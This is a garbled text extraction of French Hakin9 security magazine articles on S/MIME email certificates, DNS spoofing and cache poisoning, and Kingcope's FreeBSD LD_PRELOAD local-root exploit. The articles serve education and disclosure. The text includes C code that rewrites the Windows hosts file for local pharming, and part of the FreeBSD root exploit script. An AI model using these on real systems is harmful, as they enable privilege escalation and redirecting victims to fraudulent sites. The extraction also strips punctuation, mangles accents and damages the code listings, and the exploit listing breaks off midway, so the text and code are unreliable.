Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

